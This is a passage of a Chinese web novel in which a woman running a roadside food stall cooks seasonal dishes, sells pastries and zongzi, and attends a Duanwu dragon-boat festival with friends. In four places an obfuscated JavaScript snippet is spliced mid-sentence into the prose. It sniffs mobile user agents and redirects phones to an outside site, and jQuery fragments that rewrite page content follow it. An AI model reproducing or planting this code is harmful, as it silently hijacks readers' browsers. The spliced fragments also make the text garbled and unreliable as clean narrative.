“天啦，竟然还有。”坐在云音身旁的女子道，“这个枣子又好看又有好彩头，若是宴席时有这么一份糕点，真的增添许多光彩。” “不行，我一会儿要去找宋萱问问……” 筵席吃完，糕点也全部上完，云音连忙起身离席，这一场筵席唯一让她觉得不好的地方，就是吃饭的坐姿，虽然她常年习武，蹲马步一点不在话下，但跪着吃饭她还真不习惯。 好在平日用的都是胡凳，也就只有正式场合才会跪坐。云音回到厨房收拾好东西，打算与主簿娘子辞行。 这一场筵席的点心她花费许多时间，好在宋萱她们很满意。而她也能赚二两银子，这个钱正好拿来付还在开荒的临江村村民的工钱。 主簿娘子今日劳累一天，神色恹恹，正靠在胡椅上，看到云音过来，连忙起身打起精神道：“云娘子来了，来人，快上茶。” 云音连忙道：“不用麻烦，我来是与主簿娘子辞行的。” 婢子朝她笑笑，仍旧端来茶和点心，主簿娘子拉过她道：“云娘子今日辛苦了，坐下喝口茶，我有一事要你商议。” “云娘子的手艺实在是太让人惊艳了，有好多家的娘子都找我，想让你也帮她们家做点心。” 云音虽然在筵席上听到这些话，没想到她们这么着急，她想了想道：“娘子实在不好意思，我家里近期有很多事情，恐怕没有时间去她们家里做点心。” 她见主簿娘子还要劝说，连忙道：“不过我可以在家里做，让那些娘子过来取就好。” 主簿娘子见云音确实为难，也不想逼迫她，“娘子既然实在没时间，那我先问问她们，实在不行，去你家取也可以。” 云音颔首道：“实在抱歉，最近家里事多，实在抽不出空到县城来。” 她讪讪道：“有一事要提前告知娘子，我这边恐怕无法做雪媚娘，产奶的牛不太好找，我那里也没有食材。” 主簿娘子颔首道：“这些我都会告知她们，产奶的牛对于她们来说，不是什么难事。” 云音见主簿娘子已经有些困倦，起身告辞道：“那主簿娘子休息吧，我先走了，今日也不方便与宋娘子说话，还望娘子替我转达我的祝福。” 主簿娘子把银子递给云音道：“云娘子慢走，我不送你了，我让柳儿送你。” 离开宋府，天色已经不早了，云音本想租辆车回去，没想到宋时带着寿儿过来了，“云娘子要回去，正好我安排人送你。” 她挑眉道：“宋郎君怎么会在这里？你不是要帮忙待客吗？” 宋时嬉笑道：“云娘子也是客啊，我来送你也是应该的。” 云音也没拒绝他的好意，颔首道：“那就麻烦你了。” 回到家时，已是黄昏，云音披着霞光走到饭摊，张林已经在收拾厨房了，她上前帮忙道：“这段时间辛苦你了，今日生意还好吧。” 张林惊喜道：“云娘子回来了，我不觉得辛苦。只是云娘子不在，饭摊只能卖面食，许多客人不想吃面，我做菜手艺一般，那些客人只能失望离开了。” 云音擦着桌子道：“没事，我之后不会离开了，以后仍旧早上卖面，中午和晚食的饭菜我来做。” “你明日去镇上买菜的时候，帮我找一找木工，我打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197391|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定做一批点心盒子，我之后要用。” 张林：“云娘子要卖点心？” 云音颔首道：“今日那些娘子很喜欢我做的点心，但我之后没空去县城，只能让她们过来取。” 张林见云娘子的生意越做越大，喜笑颜开道：“真的吗，太好了，那娘子要扩建饭馆吗？” “今日有个老客户过来，跟我闲聊时，希望我们能在屋子里吃饭，他不想在外面吃灰。不知娘子记不记得，那老者经常去县城看他女儿。” 提到这里，云音想起来了，那确实是个颇为讲究的人，即便是赶路，也要把自己打理的干干净净。他对女儿也很好，虽然去龙安县很远，他也买不起骡车，但仍舍得花钱给女儿买酱。 云音打量眼前简陋的厨房和竹棚，虽然他们已经收拾的干净整洁，但依然很寒酸。不说与县里的饭摊比，就连镇上的饭摊都比她的规范。 她认真考虑道：“暂时先不扩建，等我攒点钱，到时候重新建一个，这个竹棚先暂时用一用。” 云音的生活又回到之前，不忙的时候去山里挖笋子，采香椿和野菜，该晒干的晒干，该做酱的做酱，为冬日存储更多蔬菜。 她从背篓里倒出挖出来的竹笋，这个笋子比她先前掰的笋子粗，笋干她已经准备不少，这些她打算换一个方法。 烟笋也是她百吃不腻的笋子，做起来挺简单。切片的笋子煮熟，再用炭火加以烘烤，这样做出来的烟笋脆嫩，用来炒腊肉非常下饭。 有了烟笋又怎么能少了酸笋呢，螺蛳粉她也爱吃啊。酸笋做起来比烟笋还要简单，烟笋还需要用炭火烘烤呢，而酸笋只需要笋、水和盐就可以了。 洗干净没有沾染油烟的的陶罐晾干，里面不能有任何水滴存留，酸笋想要它不变质，一定不能沾染油污。 洗干净晾干的笋子放入陶罐，倒入清甜的山泉水，加入少量盐，密封坛口，不让它接触空气。然后放到阴凉处，5天左右就能吃了。 笋子全部处理干净，云音也想吃点好吃的犒劳自己，之前找村民买的干鸡枞，她一直放着没用。 正好今天找临江村的村民买了只鸡，用来煲汤正合适。 鸡枞菌泡发，鸡油煸炒出油气，先放生姜炒出香气，再倒入切好的鸡肉煸炒，倒入些许白酒去腥，之后倒入山泉水炖煮。 还没放入鸡枞菌，鸡肉的香味已经弥漫开来，正在吃面的客人闻着这味道：“云娘子，你这鸡汤也太香了，怎么卖啊。” 云音不好意思笑笑道：“煮了自己吃的，不过等会我煮好了，你还没走，我可以送你一碗尝尝。” 那客人听了这话，嘿嘿笑道：“那感情好，那我就等着你的鸡汤了。” 炖煮了一个小时的鸡汤已经浓郁，鸡枞也已经泡好，撕成丝，倒入正在炖煮的鸡汤，继续炖半个小时撒盐。 云音没法精确时间，不过她能感受大致时间，不论是火候，还是炖煮的时间，她都掌握的不差多少。锅盖打开，香喷喷的味道迎面而来，还没吃，嘴里的口水已经泛滥。 “快让我尝尝。”那食客此时也被香的坐不住，拿着碗眼巴巴看着云音。 26. 第26间客栈 云音也不含糊，给他的碗里装了满满一大碗。 食客端着大碗鸡汤小心翼翼回到饭桌坐下，轻轻嗅闻，慢慢陶醉在这股香气中。 他睁开眼睛，看着眼前金黄澄澈的鸡汤，上面漂浮着丝丝缕缕的菌菇，与鸡肉交缠在一起，不分彼此。 轻轻啜饮一口，温热的汤从嘴中温暖到心中，一股鲜香在嘴里绽放，鸡肉炖得软烂，汤却依旧清亮，吃不出一丝一毫的腥气。 汤汁浓郁，除了极致的鲜还能品味到甜，鸡肉和菌菇的鲜甜完美融合在汤里。能喝到这碗汤，他一点也不后悔等了一个时辰。 “云娘子，你家什么时候卖汤？”他喝完一碗汤，并没有被满足，看着云音他们也在喝汤，垂涎欲滴盯着她，想要得到一个满意的答复。 云音舒服叹口气道：“我也想卖，可是现在还没到鸡枞菌生长的时间，至少要一个多月吧。” “我这次用的干鸡枞，还是意外买到的，并没有多少。” 那食客满眼失望道：“好吧，那只能再等一个月。云娘子，你到时候可一定要卖啊，喝了这碗汤，我之后一个月都会念念不忘的。” 云音也很满意今天煲的汤，可能是大昭环境没有污染，菌子的鲜香比她从前吃到的更浓郁，她都差点被鲜掉舌头，更别说食客了。 她颔首道：“等菌菇出来，我一定卖汤。” 整个三月，云音一直很忙碌，100亩地已经全部开垦出来，蔬菜也已经种下，水稻也要育秧。她和张林根本忙不过来，只能尽量雇佣别的村子的人过来帮忙。 不过如今都是农忙季节，不仅冬小麦快要收割，水稻也要育苗，他们也雇佣不了太多人。等之后插秧时，就更加忙碌了，连妇女都要下地插秧，临江村和平江村空闲的人没有多少，她只能去对面的村子雇佣。 水稻育苗好后，云音抽出时间往山里跑，这个时间正是大量野菜生长的时间，蒲公英、野葱、鱼腥草、水芹，这些野菜山里遍地都是。 她不想错过这一波大自然的馈赠，只能每天天不亮去山里采摘。 “云娘子，你又再做什么好吃的？”一个微胖的男子把马栓在一旁，坐到桌子上道，“怎么这么香，粉蒸肉今天还有吗？” 云音把切好的野葱用碗装起来，她摇摇头道：“实在抱歉，粉蒸肉和排骨都卖完了。” 也不知怎么回事，最近有很多县城过来的食客，来了并不多坐，买了粉蒸肉和排骨就骑马离开了。 还有许多食客希望她卖生的粉蒸肉和粉蒸排骨，这样他们可以回去自己蒸。 云音也思考过，觉得也不是不行，她打算过两日多做点，方便专门买粉蒸肉的食客购买。 她道：“我过两日打算卖生的粉蒸肉和排骨，你也可以买回去自己蒸，这样你们也更方便。” “云娘子，你能这样想可见也是明白人。那怎么我劝你去县城开店，你不愿意呢？若是你能去县里开店，生意肯定会更好的。”那男子极力劝说云音，想让她去县城开店。 云音摇摇头道：“我在这里开店，都要忙不过来，去县城就更忙了，我觉得现在这样挺好的。” 这个月她不仅饭摊生意红火，点心的生意也很红火。之前找她定糕点的娘子，每隔几天都会让人过来买，即便一盒点心要200文，他们也不觉得昂贵，不仅自己买，还推荐给朋友。 让她光是卖点心赚的钱，都够再买一片地了。 云音炒了一盘金黄蓬松的鸡蛋炒野葱，又炒了一份水芹肉片，熬了一锅鲫鱼豆腐汤，端到那人面前道：“吃吧，现在不吃，过了季节就吃不到了。” 他闻着香味，摸摸已经鼓起的小肚腩，叹气道：“哎，自从吃了云娘子的饭，我是一日胖过一日。” 咬下一口野葱，他称赞道：“连野菜也做的如此好吃，估计没有什么菜不好吃。” 云音挑眉道：“你吃折耳根吗？若是吃，我也可以给你凉拌一份，算是送你的。” “折耳根啊，来一份吧。”他咬着咯吱咯吱响的水芹菜，然后道，“好多人不喜欢折耳根的味道，可是我觉得它的味道很清香，拿来炒腊肉也好吃。” 云音点头道：“炒腊肉确实好吃，不过我这里没有好的腊肉，所以只能给你凉拌了。” 那食客摆手道：“凉拌也不错，我不挑。” 云音快速切蒜，切折耳根，调了料汁，把拌好的折耳根端上去。 暂时没有其他事情，她从厨房拿出三背篓鸭蛋，一篓拿来做咸鸭蛋，两篓拿来做咸蛋黄。 咸鸭蛋自不必说，谁上学时没被汪曾祺先生描述的高邮咸鸭蛋馋的直流口水，如今自然是没有高邮咸鸭蛋，但自制咸鸭蛋也不是难事。 洗干净的鸭蛋控水晾干，表面不能残留水分，晒好的鸭蛋用酒浸泡，这样鸭蛋能更容易出油。 准备好的泥土过筛，去除里面的杂质石头，倒入粗盐以及白酒搅拌成泥浆，之后把浸泡好的鸭蛋裹上泥土，最后再裹一层草木灰就好了。 云音在一旁裹着咸鸭蛋，吃完饭的食客过来结账，看见她的动作挑眉道：“云娘子是要做咸鸭蛋啊，确实要做了马上要端午了。” “娘子端午打算做粽子吗？”这食客摸摸肚子笑道，“我听说娘子做点心一绝，想必粽子应该也不在话下吧。” 云音擦干净手上沾的泥土，接过他递过来的铜板道：“粽子是要做的，端午怎么能少了粽子呢。” “若是预定的客人多，我打算多做些，若是不多，就制作一些当日送给客人尝尝鲜。” 那食客咂舌道：“那想必娘子的生意必定不错，我要先预定，不然下次过来可能都预定不到了。” 这人说的也没错，自从她打出招牌可以预定粽子后，不论是经常来吃饭的食客，还是县城里的娘子们，都很捧场定了不少。 这么多人预定，光是咸蛋黄就要准备不少，她连忙让张林去附近村子收鸭蛋，光是因为她收的鸭蛋， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205925|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些村子也存了不少铜钱。 咸蛋黄与咸鸭蛋做法其实差不多，不过不用放酒，直接用土和盐腌制就行，之后取出里面的咸蛋黄使用，蛋清拿来做面条，这样也不会浪费。 如今云音的饭摊面食生意也很不错，每日张林揉面都要揉不少，这些咸鸭蛋的蛋清拿来和面正合适。 腌好的咸鸭蛋放置阴凉处密封保存，一个月左右这些咸鸭蛋就能食用了。 粽子有咸粽子和甜粽子之分，反正每年关于咸甜之争能大战三百回合。云音对于这两种粽子都接受良好，连白棕子蘸糖吃，她也觉得好吃极了。 而龙安县的人们，对于甜粽子还是咸粽子都很喜欢，咸粽子有肉，甜粽子有糖，上至达官贵人，下至平民百姓，只要做的好吃，都能接受。 甜粽子中红豆沙馅是必不可少的，云音经常给县城的娘子们做点心，豆沙馅是必备的，如此也不用特意准备豆沙馅。 蜜枣馅，之前做蜜枣酥时，她选定了一家蜜枣做的不错的店铺，这个到时候直接买回来就好。 甜粽子的馅不需要多费心，至于咸粽子就更不用说了，咸蛋黄已经腌制上，等端午时咸鸭蛋正好腌制好，咸蛋黄直接拿来用即可。 而鲜肉粽子等到端午节前做也来得及。 当然在端午节前，还有一味野菜是不能错过的，错过可就要等一年了。 这道菜便是荠菜，荠菜不仅味道鲜美还能入药，田间随处可见，许多小娘子做完家务活，会邀请二三好友，一同前去采摘。 普通人喜爱，文人墨客也喜欢，不少才子留下关于荠菜的墨宝。 云音又怎能错过这独属于春日的特供呢，拿上背篓，徜徉在山间小路上，绘出属于她的春日画卷。 荠菜除了能凉拌，还能做荠菜馅的饺子馄饨，当然用来做羹也很常见，荠菜豆腐羹，是一道很美味的食物。 豆腐用方嫂子家的豆腐，她家的豆腐清香嫩滑，用来凉拌都很好，更别说拿来做羹了。 不过今日她做的并不是豆腐羹，而是用鸡蛋和荠菜做的翡翠蛋羹。 一嫩黄一碧绿，如同太极一般落在碗中，吃的时候混合一起，又有荠菜的清甜，又有鸡蛋的绵软。一道羹汤一出，深受县城里的学子喜爱。 自从云音的糕点在龙安县大卖，许多人休沐日时，选择出来踏青游玩时，都会往云音的饭摊这边走，她的饭摊生意不仅做往来客商的生意，这些学子也贡献不少。 当然这其中自然少不了宋时的吹捧，他如今不仅常去找罗娘子，也会呼朋唤友带着人来她这里吃饭。 托他的福，云音也做了不少她之前不会做的菜，比如翡翠蛋羹，豆腐羹等等。 过路的行商讲究时效，也更在意能不能填饱肚子，下饭的菜比较受他们欢迎。而学子们是出来游玩的，清淡的菜吃得，重口的菜也吃得，若是做的好吃，哪怕等上再多时间也不无不可。 比如此时她正在做的牡丹燕菜。 27. 第27间客栈 牡丹燕菜其实也叫洛阳燕菜，是洛阳水席中的首菜。 这道菜难点并不在于雕刻的栩栩如生的牡丹，而是铺底的燕菜。 燕菜的食材其实是最常见的萝卜，但想要把这简单的萝卜做的好吃，要费的功夫可不少。 白萝卜要切成细的如同毛发的细丝，放在山泉水中浸泡，取出挤出水分，撒上绿豆粉搅拌均匀。处理好的萝卜丝放入锅中蒸熟，再用凉水浸泡晾干。 这一步骤需要重复至少三次，三蒸三晒可以让萝卜丝的口感变得更好，萝卜的辛辣味道也尽数去除。 云音拿出之前晒好的萝卜丝泡发，然后去制作高汤，这一步关乎着整个菜的口味是否鲜美。 高汤需要清而透亮，选择刚刚宰杀的老母鸡和猪大骨，加入葱姜等料大火烧开，撇去浮沫，小火慢炖几个小时，让汤的滋味变得浓郁。 熬汤时，选取几个鸡蛋黄加入淀粉和盐搅拌，放入锅中蒸熟，切成丝做成牡丹花的花蕊。 最后准备牡丹燕菜里的配菜，笋、菌菇切丝、焯水后与泡好的萝卜丝一起放入锅中蒸熟，若是想要荤菜，则可在里面放入鸡丝、火腿丝等。蒸好的萝卜丝盛盘装好，放入用红心萝卜雕刻好的牡丹，最后浇上熬制的高汤，惟妙惟肖的牡丹盛开在眼前，让你不到洛阳也能赏到洛阳之美。 云音把做好的菜端到桌上，宋时一眼被这倒菜吸引，他迫不及待拿上竹著道：“云娘子做的菜确实讲究，就是用餐环境再改善一二，那更完美了。” 谢彦第一次觉得宋时的话正中他下怀，这也是他不常来的缘由，这里的用餐环境确实太过简陋，让一直追求礼仪的他没办法接受自己在路边用餐。 好在宋时也知道他这毛病，每次带他来都会选择一个风景好的地方用餐，这次他们选的就是在一株繁茂的槐树下用餐。 这棵槐树距离云音的饭摊已经有些距离，更靠近平江，树木健硕，如今正是花开的季节，银珠瀑布般的花朵低垂落下，清新淡雅的花香随着风送达，让他们用餐的心情变得轻松惬意。 见几人都如此说，云音叹气道：“这也是没办法的事情，想要建饭馆也不是一时半会儿能做到的，你们如今沐浴在自然之下，不也是一种野趣嘛。” 宋时耸耸肩道：“我倒是无所谓啦，只要云娘子你做的菜好吃，在哪里吃我不介意。” 谢彦轻咳一声道：“罢了，先吃饭吧，如此风光，可不能错过这精致的美食。” 宋时先用汤勺盛了一碗汤出来，里面漂浮着笋丝燕丝菌丝，配上极其鲜美的汤汁，喝一口仿佛灵魂被碰触，大脑一时放空，久久回不了神。 “云娘子，你这里面的燕丝是真的燕丝吗？”宋时回过神时盯着碗里细如发丝的燕丝好奇道。 云音摇头：“怎么可能用这么名贵的东西，只是简单易得的萝卜丝罢了。” 宋时还没来得及说话，嘴里一直不停的林晖震惊道：“怎么可能是萝卜？我一点都没吃出来啊。” 谢彦也有些好奇，认真看了许久，仍旧没觉得这口感竟然是萝卜丝。 倒是栩栩如生的牡丹花，他一早就察觉是用萝卜雕刻的，不过能雕刻的如此像，也是让他好一阵惊讶。龙安县的饭馆酒楼并不怎么擅长雕刻，即便是从州城来的满香居也是如此。 “我骗你们做什么，这确实是萝卜，只是做起来比较麻烦罢了，但吃起来味道还是不错的。” 林晖抿了抿嘴道：“这何止是不错，是太不错了，若不是娘子你说，我还真吃不出来。” 林晖家里是做绸缎生意的，在龙安县也是有钱人家之一，自然是吃过燕丝的，这萝卜丝的口感与真的燕丝差别并不十分明显，能以假乱真了。 宋时一脸你们太大惊小怪了，虽然他也觉得云音厨艺好，但他早就把云音与顶级厨子相提并论，恐怕宫里的御厨也就这样了。所以对于她能做出以假乱真的燕丝，他并不太吃惊。 “好在云娘子你在龙安县落脚，否则我就要错过你的手艺了。”宋时嘻嘻笑道，“那些州城的人，可没有我们有口福啊。” 林晖和谢彦都点头赞同，云音笑道：“好了，不要再夸了，每次你们来吃饭，都要把我夸了又夸，我真的会不好意思的。” “你们喜欢，常来光顾我的生意，我已经很满足了。” 宋时道：“我们自然要常来光顾啦。” “云娘子，端午快要到了，你到时候要不要来县城啊，我叫上罗娘子，我们去看赛龙舟如何，还有许多其他活动。” 云音也挺好奇大昭的端午是怎么度过的，想到那天大家都去县城参加活动，没什么人来吃饭，她也想放个假休息一下，她点头道：“没问题，我到时候去县城找你们。” 五月五端午节，这一天人们需要佩戴五色丝与艾草，百姓之间也会互相赠送粽子、香囊或者团扇。 云音早早把准备好的粽子带上，与张林一起去龙安县参加活动。 她看着装扮一新的张林道：“不错，今日很精神，到时候你自己拿上钱去玩，我便不与你一起了。” 张林点头道：“没问题，我一个人去逛，娘子不用管我。” 路过镇子口，云音看到罗蔓已经在路口等着，她连忙上前道：“让阿蔓姐久等了。” 罗蔓摆手道：“哪有，我也刚到，妹子上车吧。” 云音与张林分开，她上了罗蔓的车，张林与罗蔓店里的其他同伴一起，往龙安县而去。 “阿蔓姐今日的装扮真好看。”云音看着穿着宽袖长衫的罗蔓道，“让人眼前一亮，比起平日来多了一份婉约。” 罗蔓平日多穿麻布窄袖襦裙，第一次见她穿绢布的广袖裙，真的像极了壁画上飘飘欲仙的仙子。 罗蔓看云音还穿着平日的麻布衣裙，“今日有活动，确实要盛装打扮一番，妹子也应该好好打扮的。你长得如此貌美，若是再打扮一下，你在人群中，一眼便能被人注意到。” 云音摇摇头道：“我可不想被人一眼注意到。不过漂亮的衣服我也喜欢，到时候可以去买一些好看的衣裳。” 罗蔓给她推荐，“县城东市有一家秀坊衣裳做的特别好看，妹子你可以去看看。” 说完穿着，又提到吃食，云音拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210146|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出粽子道：　“这是我做的粽子，阿蔓姐若是想吃可以自己取用。” 阿蔓看着用五色丝线绑好的小粽子道：“你之前已经送过粽子，怎么今日还带了这么多粽子？” 云音：“之前送你们的都是大粽子，今日要在外游玩，我准备一些小粽子，若是饿了还能吃。” “你想的可真周到。”罗蔓赞叹道。 就在二人闲聊中，马车平安行驶到龙安县城门口。 云音掀开帘子望去，此时的龙安县人来人往，城门被密密麻麻的人群围堵，一时半会儿他们竟无法顺利进城。 “怎么这么多人。”云音好奇道。 罗蔓撇了一眼道：“今日县城有活动，再加上县令取消入城费，所以附近村子里的人都来县城了，显得人格外多。” “确实有点太多了。”她们等了许久仍没能进城，罗蔓叹口气道，“慢慢等吧，好在我们来的早，赛龙舟还没开始。” 等二人终于能进城时，已经过了半个时辰，把马车寄存妥当，两人坐上宋时他们的马车，从另一城门出去，往平江赶去。 平江距离龙安县还有一段距离，他们又坐了半个时辰的车才靠近平江。 云音从马车上下来，看着一奔腾不息的江水，长叹道：“龙安县到平江可真远，还不如我住的地方。” 她住的地方走一段距离就能看见平江，她巡视农田时能时常看到江面上的船只经过。 宋时下车接下罗蔓，见她妹妹有人接应，他看向云音道：“所以我说县城没什么店做鱼吃，连平溪镇距离平江都更近一些。” 宋萱提着裙摆往他们这边走来，谢彦在身后跟着，以防人群冲散他们。他护着宋萱与宋时碰面，见他们还站在路边滔滔不绝，打断道：“好了，我们赶紧去定好的位置坐下，人是越来越多了。” 每年龙安县都会举行赛龙舟，所以这一片靠近江面的地方搭建不少高台，端午时，这些高台会开放给观看的人，只要花点钱可以定一个视野绝佳的好位置。 其他人自然也可以在江边观看，不过视野没有在高台上的好，云音随着众人去了他们预定的高台，附近已经热闹起来，还有不少摊贩穿梭其中兜售饮子点心。 端午必喝的艾蒲饮，用艾叶和菖蒲等材料熬制而成，是端午首选的饮子。当然还有深受欢迎的紫苏饮，用初夏的紫苏与陈皮甘草等药材制作而成的紫苏饮，颜色呈现为淡黄色，口感清新微甜，喝下还能尝到紫苏的草本清香。 若是不习惯药饮的口感，还有香饮这种选择。香饮选用当即新鲜水果，制作成果饮，和现代的水果茶很类似。 有药饮和香饮，自然少不了茶饮，大昭的煮茶本就盛行，各种花也被拿来煮茶，闻着淡淡花香，吃着甜滋滋的点心粽子，哪怕是在炎炎夏日，云音也觉得与春日并无不同。 “咚咚咚。”一阵敲锣声响起，云音起身朝外看去，赛龙舟马上要开始了，她与罗蔓靠在围栏上，看着前方的男儿露出精壮的身躯。 身边的女子各个发出惊呼声，人人都探头往外看去，围栏边的其他男子皆掩面叹气。 28. 第28间客栈 云音看周围人的反应，也一脸好奇看去，赛龙舟的男子各个魁梧健壮，露出来的身躯肌肉线条清晰，那种阳刚之美扑面而来，怪不得身旁的女子，各个惊叫出声。 她也不由自主欣赏起这些男子的美来，听到旁边宋萱冷哼的声音传来，她回头看去，原来是谢彦捂住了她的眼睛。 云音看着这一对伴着嘴，摇摇头转头看向另一边。宋时也站在罗蔓身旁拉着她说话，分散她的注意力，倒是衬托的云音格外孤寂。 欢呼声从外面传来，两个队伍已经准备完成，赛龙舟马上就要开始。云音坐回座椅上，等待着开始。 江面上两条龙舟已经依次排开，只等着令下，听人说这两队分别是北江县和龙安县的专业人，每年两县都会合力举办，从龙江县开始，到北江县结束。 云音听着众人的议论，发现其实没必要跟这里的人挤，在她住的地方能更清楚的观看江面，她打算明年邀请朋友去她那里观看赛龙舟。 鼓声震天，一声锣响，两只队伍应声出发，浆手们的呼喝声瞬间遮住岸边的欢呼声，龙舟如同游龙般疾驰往北江县而去。 看完龙舟，已是中午，云音一行人回了县城吃饭。吃完饭她又随着几人前去观看斗百草。 这是大昭特有的活动，上至贵妇下至孩童，都热衷参与其中。斗百草分文斗和武斗两种，文斗也分斗品相还是飞花令式文斗。 这次云音她们观看的就是飞花令式文斗，其中一人会先说一种带植物的诗句，对手需说出对应的植物诗句，非常考验人的记忆与应变能力。 云音站在一旁看得津津有味，直到宋萱也下场参加活动。平日内敛的人，此时仿佛在发光，站在前方侃侃而谈，不论对手说了什么诗句，她立马能对上。 她和罗蔓站在一旁只能使劲鼓掌，“宋娘子可真厉害啊，知道这么多诗句。” 罗蔓道：“宋娘子可是龙安县有名的才女，不然怎么会与谢彦定亲。” “别看谢彦如今在龙安县读书，他们家可是有人在长安做官的，若不是他看重宋娘子的才华，亲自求娶宋娘子，不然以宋家的家世，谢家肯定不会同意的。” 看着光彩夺目的宋萱，只一眼被她的自信从容所吸引，云音笑笑道：“宋娘子值得，她真的很出众，若我是男子，也会被她吸引。” 罗蔓赞同道：“确实如此。” “宋娘子与谢彦的婚期是不是快了？” 罗蔓想了想道：“之前听宋时提过一次，他们两个都还小，谢彦也还要读书，打算再过两年成亲。” 云音听到她提起宋时很是自然，她好奇道：“那阿蔓姐你呢？你与宋时之间……” 罗蔓苦笑道：“我与他是不可能的，只能等宋时想通，好在他如今还小，再大一点应该能明白。对他来说，选一个合适的人，是多么重要。” 云音回头看见宋时一直望着罗蔓笑，不由替二人感到惋惜，希望他们能有个好结局。 结束文斗，还有武斗，这个云音他们没继续看了，叫上宋时谢彦他们，几人去看其他歌舞表演。 听宋时他们说，州城的端午节更为隆重，歌舞表演也比县城的舞蹈好看，不过对于云音来说，她觉得县城的歌舞也很好看，个个婀娜多姿，极具风情。 看完表演，云音带着他们送的香囊团扇回家，坐在新床上，整理因为端午节卖粽子的收获。 还是一百个铜板为一串，总共有50串，也就是5贯钱，比不上卖糕点的钱，但依旧很多，农户好几年才能赚到这么多。 她把之前赚的钱拿过来数了数，总共24贯钱，用来建饭馆还是不够，还需要再攒攒。 端午节过后，天气越来越热，雨水也逐渐增多，云音看着连绵不绝的雨滴，叹息道：“这雨下的可真不是时候，我们才刚刚把水稻移栽，这就开始下大雨。” 张林坐在她身旁道：“云娘子不用担心，我之前已经排水了，只要这雨不一直下，不会造成太多影响的。” 云音无奈道：“只能如此了，我看临江村的人要过几天才会移栽水稻，想必是知道要下雨的。可惜我们人少，只能提前移栽，不然之后找不到人。” “这确实是个问题。”张林也很苦恼，“以后的事情还有很多，除草施肥排水，这些都要人精心打理，水稻才能长好。” “哎，人不够用啊。”云音长吁短叹，“怪不得那些地主老爷要与官府抢人，种地确实需要很多人力。” “算了，实在不行我们多给点工钱，总能招到人来帮忙的。” 大雨一连下了三天才停下，这几天也没什么人路过，他们二人也休息了三天。趁着雨刚停，还没什么人过来，一大早云音背着背篓进山了。 五月正是草菇生长的季节，更何况刚刚下过雨，会有许多草菇冒出来。 草菇因生在在草堆所以被称为草菇，草菇生长速度也很快，若是不速度采摘，它就会开伞，开伞的草菇味道一般。所以要采摘还是花骨朵的草菇更为合适。 云音背着背篓往山林深处找去，草菇个头很小，采摘时要多加注意，否则一不注意就错过了。她眼尖看见前面草堆凸起，看样子里面是有菌菇的，扒开一看，里面果然长着两朵草菇。 轻轻采下来放到背篓，云音继续在山里慢慢翻找。采菌子对于她来说是放松，每每发现一朵菌子，她都能开心好久，这也是她为何特别喜欢采蘑菇的原因，为了采它们，还特意去了云雾村，结果却因为意外来到这里。 云音又发现一个凸起，上前扒开草堆，惋惜道：“可惜已经开伞了，没办法吃了。” 虽然开伞，云音仍旧把这朵草菇采了回去，她之前想种植草菇，一直因为没有菌丝而无法行动。把这些开伞的草菇带回去，用来培育菌丝是极好的。 云音采完这朵开伞的草菇，突然看到旁边草地上长的绿油油的东西，她连忙上前把它采了下来。 这绿油油的东西正是地皮菜，这东西只有夏季雨后才有，而且没有环境污染的地方才会大量生长。云音小时候还能经常采到，后来渐渐就很少了，如今再次看到它，她觉得很是惊喜。 地皮菜做起来很好吃，只是很难清洗，不过想要吃到美味，辛苦一点也是应该的。 既然发现地皮菜，她当然不会放过，采草菇的间隙，也看看附 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215282|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近有没有地皮菜，这种东西经常成片生长，雨后能长出许多来。 云音采完，打算换个地方继续采，又在一根断了腐烂的树干上发现一丛丛黑木耳，这也是个好东西啊，装上装上。 她下山时，不仅装了满满一背篓草菇，也用藤筐装了满满一筐地皮菜，更有新鲜的黑木耳。 云音把黑木耳清洗清洗，放到簸箕上晾晒，新鲜的木耳含有毒素，必须通过太阳暴晒，才能去除里面的毒素。 黑木耳晒上，云音开始清洗地皮菜了，这个是真的难洗，因为地皮菜整片长在泥土里，所以每片褶皱里藏了不少泥土和杂质，而它的身躯又太小太软，所以想要清洗需要花费不少时间。 